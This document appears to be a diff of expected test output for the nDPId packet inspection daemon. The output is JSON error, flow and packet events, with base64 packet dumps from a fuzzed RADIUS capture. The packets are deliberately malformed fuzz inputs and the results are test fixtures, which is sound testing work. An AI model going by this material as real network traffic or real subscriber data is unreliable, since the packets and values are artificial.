-00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":13,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":34816,"global_ts_usec":1528996636106908} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996636106908,"packet_id":13,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":34816,"global_ts_usec":1528996636106908} 01286{"packet_event_id":1,"packet_event_name":"packet","packet_id":13,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":34816,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528996609592806,"pkt":"AAAMB6xAABRP+4rqiABFAALbIMxAAP8RAAAKDEAexuIZNXIQBxQCxwAAARACv7qQ3oRQOi6G4UsAlSEouDAaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwdbIqIcATUwMzExNDgwMDczNjM4MDcyQXdsYW4ubW5jNDgwLm1jYzMxMS4zZ3FwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtM7ceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDA4YjYxY2EzMjI1YiwgNWIyMmEzMWM\/ZjA6Nzk6NjA6ZDE6N2Q6MzcvMjExBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAMzIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFSUAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNHY4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjYRoMAAAFgwcGwFBKmVASAmScZx+R57CcOV54IGggHQ=="} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":15,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528996636664502} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996636664502,"packet_id":15,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528996636664502} 01257{"packet_event_id":1,"packet_event_name":"packet","packet_id":15,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528996636345360,"pkt":"ACAMB6wAABRP+4rqCABFAALHIM1AEP8RAAAKDEA+xuIZNXIQBxQCswAAARECq74dUyV3bJoqzJ\/QFk2VsKcaCiUAV8gOBFVTGgwAAFfIDQZsaWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqMcATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubX5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpRC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjYxY2EzMjI1YiwgNWIyMmEzMWNRZjA6Nzk6NjA6ZDE6N2Q6MzcvMjExBAasFAEQIA5WWldDMlRlc3RMaWIaDAAAN2MBBgAAAAIGBgAAAAIMBgBLBRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAAB6T051twDphk5XQeM2DLlzAwIAIGU7n6gaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN2YW5kYetkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0oC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQEuAAmGnGPS3bgZlyWIVRxyA="} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":16,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528996636868007} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996636868007,"packet_id":16,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528996636868007} 00714{"packet_event_id":1,"packet_event_name":"packet","packet_id":16,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528996636345360,"pkt":"gBRP+4rqcNuYVcUnCABFAAEw9zBNAPwRXErG4hk1CgxAHgcUchABHM4XAhEBFIZVJWGtUrjkjYJ31AMheaoaCwAAV8gbBVNQQxpuAAABNxA0kHJPpbx8ay85DeRD\/YfvMwI+ldBikhmaYO0o9\/xxLxLcmQJWjN7B7B+dfQVGF8gDCMcRNLOAK5rezWH47eySAtmcrdIo8yMjeGx8MCZsAtT7L4lJowMPwZmfH007sNXtvljXq+BWATUwMzExNGUwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d2+qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} -00199{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":17,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528996641474539} +00299{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996641474539,"packet_id":17,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528996641474539} 01184{"packet_event_id":1,"packet_event_name":"packet","packet_id":17,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":671,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":671,"pkt_l4_len":0,"thread_ts_usec":1528996636345360,"pkt":"AAAMB6xAABRP+4rqCABaAAKRIM5AAP8RAAAKDEAexuIZNXIQBxUCfQAABBICdf5uAQnl4Bm8CC3G2Muz0doaCgAAV8gOBFVVGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGQVTUEMaCQAAOCENAzQBNTAzMTElADAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNnHnBuZXR3b3JrLm9yZ34IMWNpc2NvBQYAAAAIBAasFAEQCAasFAEWIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIsIDViMjJhMzFjL2YwOjc5OjYwOmQxOjdkOjM3LzIxMT0GdgAAExoxAAAACQErYXVkaXQtc2Vzc2kvbi1pZD0xMGZmMTBhYzAwMDAwMGI2MWNhMzIyNWItBgAAAAFABgAAAH5BBgAAAAZRBDU2NwJbIqMhGhQAAFfIBw5WWldDMlRlc3RMYWIa1CoAV8gIBEVUGhAAAFfICwpTdGFuZGFyZBoQAABXyAsKVGVzdCBMYWIaCQAAV8gPAzEaCgAAV8gQBE5KGhEAAFfIEQtMeW5kaHVyc3QaDAAAV8gSBgAAAMkaFwAAV8gdEVZaVyBDMiBUZXN0IExhYhoLAABXyCUFVnpXGg0AADghDgcwNzA3MRoMAAA4IREGAAAAABoVAAA4IRIPSW52YWxpdCBWYWx9ZRodAAA4IRMXNDAuODA0RDgyTi03NC4xMDI4MzlXGgwAADghFAYAAAECGgwAADghFQYAAAACGhUAADghFg9TdGFkaXVtRGlyZWN0KAYAAAABHxNmMC03OS02MC1kMS03ZC0zNx4lMIAtYTctNDItZDAtZTAtMDA6VmVyaXpvbldpRmlBY2Nlc3MaDAAABYMHBsBQSpk="} 00770{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":6,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996641548676,"flow_src_last_pkt_time":1528996641548676,"flow_dst_last_pkt_time":1528996641548676,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":89,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":89,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":89,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996641548676,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":30764,"dst_port":12344,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00648{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_src_last_pkt_time":1528996641548676,"flow_dst_last_pkt_time":1528996641548676,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":50,"pkt_len":147,"pkt_l4_len":97,"thread_ts_usec":1528996641548676,"pkt":"ABRP+4rqcNuYVcUnCABJAACFyrZAAPsRim\/G4hk1CgxAHgcVchAAcXfuBRIAaavjNmx4LDA40fVoWG4z4qoBNTAzMTE0ODAwNjM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBsZXR3b3JrLm9yZywgNWIyMmEzMWMvZjA6Nzk6NjA6ZDE6N2RZMzcvMjEx"} @@ -46,7 +46,7 @@ 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996689402348,"flow_src_last_pkt_time":1528996689402348,"flow_dst_last_pkt_time":1528996689402348,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996689402348,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29270,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00693{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_src_last_pkt_time":1528996689402348,"flow_dst_last_pkt_time":1528996689402348,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"thread_ts_usec":1528996689402348,"pkt":"ABRP+4rqcNuYVcUnCABFAAClbuVAAPwRXCDG4hk1CgxAHgcUclYAkWdmCxcAiQrIitkB1LgR0s5zEPVzzzIBNTAzMTE0dzAyNzg1MDEwMDlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEzNDgvNjQ6YjA6YTY6MGU6YTQ6ZWMvMjEyTw4BAAAMFwwAAHYBf\/xQEjLibctMfYgZSgHqxKHsV1U="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":28,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996689402348,"flow_src_last_pkt_time":1528996689402348,"flow_dst_last_pkt_time":1528996689402348,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996689402348,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29270,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":30,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528996689587626} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996689587626,"packet_id":30,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528996689587626} 00564{"packet_event_id":1,"packet_event_name":"packet","packet_id":30,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"thread_ts_usec":1528996689524138,"pkt":"ABRP+4rqcNuYVcUnCABFAADA9+klAPwRXAHG4hk1CgxAHgcUchAArPtqAxgApNkk5fehx32PqouJEXUDfwgBNTAzMTE0ODAyNzg1MDEwMDlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEzNDkvNjQ6YjA6YU06uGU6YTQ6ZWMvMjEyeCIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92aXNpb25lZE8lAAEABwBQEslNLvLV5rc9WbdNXraRxZQ="} 00928{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":31,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":6,"flow_dst_packets_processed":7,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528996689524138,"flow_dst_last_pkt_time":1528996684855270,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":4026,"flow_dst_tot_l4_payload_len":1323,"midstream":0,"thread_ts_usec":1528996689524138,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00927{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":31,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"finished","flow_src_packets_processed":2,"flow_dst_packets_processed":1,"flow_first_seen":1528996603395872,"flow_src_last_pkt_time":1528996609526996,"flow_dst_last_pkt_time":1528996609592806,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":834,"flow_dst_max_l4_payload_len":105,"flow_src_tot_l4_payload_len":1537,"flow_dst_tot_l4_payload_len":105,"midstream":0,"thread_ts_usec":1528996689524138,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -54,9 +54,9 @@ 00775{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":31,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996521324807,"flow_src_last_pkt_time":1528996521324807,"flow_dst_last_pkt_time":1528996521324807,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996689524138,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1796,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996733156301,"flow_src_last_pkt_time":1528996733156301,"flow_dst_last_pkt_time":1528996733156301,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":109,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":109,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":109,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996733156301,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":309,"dst_port":12339,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00696{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_src_last_pkt_time":1528996733156301,"flow_dst_last_pkt_time":1528996733156301,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":179,"pkt_l4_len":117,"thread_ts_usec":1528996733156301,"pkt":"ABRP+4rqcNuYVcUnCABMBACl+GRAAPwRW6HG4hk1CgxAHgcUchAAkfvBCxkAidYnQnH6\/q3z6sD9\/UzPvYgBNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEzN2MvYjA6OWY6YmE6NGE6MGU6N2UvMjEzTw4BAAAxFwwAAAwBf\/xQEj4NW9JYKjnp+Qug4VR6j6U="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":35,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2050,"global_ts_usec":1528996736535113} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996736535113,"packet_id":35,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2050,"global_ts_usec":1528996736535113} 01284{"packet_event_id":1,"packet_event_name":"packet","packet_id":35,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2050,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528996733357374,"pkt":"AAAMB6xAABRP+4rqCAJFAALbINdAAP8RAAAKDEAexuIZNXIQBxQCxwAAARsCv2gdiE+D2K4zEaVWxj6b5vAaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqOAATUwMzExNDgwMDcxMzk0MzA0QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TYjAtOWYtYmEtNGEtMGUtN2UeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml4b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpVi1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjg3ZGEzMjI1Yiw0NWIyMmEzN2MvYjA6OWY6YmE6NGE6MGU6N2UvMjEzBAasFAEQIA5WWldDMlRlc3QBYWIaDAAAN2MBBgAAAAIGJQAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQBCATAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGm0AAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGXGdCBMYWIaCwAAV8glBVZ6Vxp3AAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5eBoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASdNdxL4DyCHN8UpXdyQsAbg=="} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":38,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528996736804095} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996736804095,"packet_id":38,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528996736804095} 00565{"packet_event_id":1,"packet_event_name":"packet","packet_id":38,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"thread_ts_usec":1528996736731564,"pkt":"ABRP+4rqcNuYVcUnCABFAADA+HNBAPwRW3fG4hk1CgxAHgcUchAArIw9AxwApBZ8i1l5y5I6R7UN7fbGLQ0BNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLhNncHBuZXR3b3JrLm9yZywgNWIyMmEzN2PpYjA6OWY6YmE6NGE6MGU6N2UvMjEzEiIzMjc2NCBTdWJzY3JpYmVyJWlvdCBwcm92aXNpb25lZE8HBAEABwBQEhu6bMXdvKMo\/pphwZK5oRM="} 00817{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":43,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996521324807,"flow_src_last_pkt_time":1528996521324807,"flow_dst_last_pkt_time":1528996521324807,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996740339650,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1796,"l4_proto":"udp","ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} 00773{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":43,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996521324807,"flow_src_last_pkt_time":1528996521324807,"flow_dst_last_pkt_time":1528996521324807,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996740339650,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1796,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -79,7 +79,7 @@ 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996990648296,"flow_src_last_pkt_time":1528996990648296,"flow_dst_last_pkt_time":1528996990648296,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":105,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":105,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":105,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996990648296,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29264,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00649{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_src_last_pkt_time":1528996990648296,"flow_dst_last_pkt_time":1528996990648296,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"thread_ts_usec":1528996990648296,"pkt":"ABRP+4rqcNuYVcUnCABFAACFzqFAAPwRhYTG4hk1CgxAHgcVclAAcSboBSEAaT3FxpV5xYvpMtB7xhdyjsUBNTAzMTE0ODAwNzM2MzgwNzJAd2xhOS5tbmNwODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgJWIyMmEzMWMvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjEx"} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996990648296,"flow_src_last_pkt_time":1528996990648296,"flow_dst_last_pkt_time":1528996990648296,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":105,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":105,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":105,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528996990648296,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29264,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":50,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":9472,"global_ts_usec":1528996997052254} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528996997052254,"packet_id":50,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":9472,"global_ts_usec":1528996997052254} 